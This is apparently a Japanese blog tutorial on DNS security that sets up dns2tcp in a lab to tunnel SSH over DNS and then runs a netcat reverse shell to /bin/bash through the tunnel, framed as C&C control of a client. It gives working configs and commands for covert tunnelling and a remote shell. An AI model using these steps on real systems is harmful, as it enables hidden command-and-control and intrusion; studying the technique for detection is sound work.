DNSセキュリティについて

DNSセキュリティについて

C&Cサーバとの通信にHTTP/HTTPS以外にDNSプロトコルを用いた手法があります。今回はdns2tcpというツールを用いてDNSプロトコルの中にSSH通信をトンネリングする試験をします。

■構成
通常のDNS通信とDNSプロトコルを用いたDNSトンネリングのイメージを示します。


■dns2tcpの設定

1.dns2tcpのダウンロード
  https://github.com/alex-sector/dns2tcp/releases

 Source Codeをダウンロードし任意のフォルダに展開
 wget https://github.com/alex-sector/dns2tcp/archive/v0.5.2.tar.gz
 tar xzvf v0.5.2.tar.gz


2.コンパイルとインストール
 ダウンロードしたファイルを展開したディレクトリに移動
 cd dns2tcp-0.5.2
 ./cofigure
 make
 make install

3.サーバ側の起動
 dns2tcpd -F -d 3 -f ./.dns2tcpdrc
 →設定ファイルである .dns2tcpdrcファイルを読み込んで実行
 .dns2tcpdrcファイルの内容
 listen=0.0.0.0  →偽DNSサーバとして待ち受けるIPアドレス
 port=53 →DNS待ち受けポート
 user=root →起動するsshコマンドの実行権限(一般ユーザだと失敗する)
 key=password →クライアント(dns2tcpc)から接続するためのパスワード
 domain=sub.test.local →偽DNSサーバとして待ち受けるドメイン名
 resources=ssh:127.0.0.1:22 →クライアント(dns2tcpc)に接続させるコマンド(ssh)

4.クライアント側の起動
 dns2tcpc -d 3 -f ./.dns2tcpcrc
 →設定ファイルである .dns2tcpcrcファイルを読み込んで実行
  .dns2tcpcrcファイルの内容
 domain=sub.test.local →偽DNSサーバのドメイン名
 resource=ssh →クライアント上で実行するコマンドの指定(ssh)
 local_port=2222 →クライアント上で実行するコマンドの待ち受けポート
  key=password

5.実行
・クライアントマシンにおいて自身の2222ポートにssh接続を行う
・クライアントソフト(dns2tcpc)は指定されたドメイン(sub.test.local)にsshコマンドをDNSプロトコルに化かして送信
・サーバソフト(dns2tcpd)は受け取ったDNSパケットを紐解き、自身のsshコマンドに接続させる。

つまり、sshプロトコルをDNSプロトコルで隠ぺいすることができる。
※注意事項:ssh認証を鍵認証にしていると失敗するのでパスワード認証にしておく。

■DNSサーバの設定
・named.confの設定例
 zone “test.local” IN {
  type master;
 file “test.local.zone”;
 };
・test.local.zoneファイルの設定例

$TTL 86400

@ IN SOA test.local root.test.local(
 2019112501
 3600
 900
 604800
 86400
)

@ IN NS ns1.test.local.
sub IN NS ns2.sub →dns2tcpdを起動するドメイン
ns1 IN A 10.0.2.50
ns2.sub IN A 10.0.2.51→dns2tcpdを起動するマシンのアドレス

■NetCatによるリバースシェルを使う方法
 NetCatコマンドを使ってサーバ側(dns2tcpd)からクライアント側(dns2tcpc)を操作する方法を示す。

1.サーバ側作業
 設定ファイル .dns2tcpdrc2の内容
  listen=0.0.0.0
  port=53
  user=root
  key=password
  domain=sub.test.local
  resouces=nc:127.0.0.1:4444
 
 上記ファイルを用意し起動
  dns2tcpd -F -d 3 -f ./.dns2tcpdrc2

 さらに下記コマンドを実行
  nc -lvp 4444

2.クライアント側の設定
  以下のコマンドで実行
  dns2tcpc -z sub.test.local -d 3 -k password -r nc -l 4444
 
 さらにクライアント端末上で以下を実行
  nc 127.0.0.1 4444 -e /bin/bash
  →このコマンドを実行するとサーバ側のncコマンドとTCP4444で接続され
   サーバからの入力がクライアントのbashに渡される。

上記コマンド実行後、サーバの「nc -lvp 4444」を実行した画面でコマンドを入力すると、入力した文字がTCP4444番ポートを通ってクライアント側4444番ポートに渡され、さらにクライアント側のbashに入力される。
つまり、C&Cサーバからクライアント端末を操作できるようになる。

 


 
 

コメントをどうぞ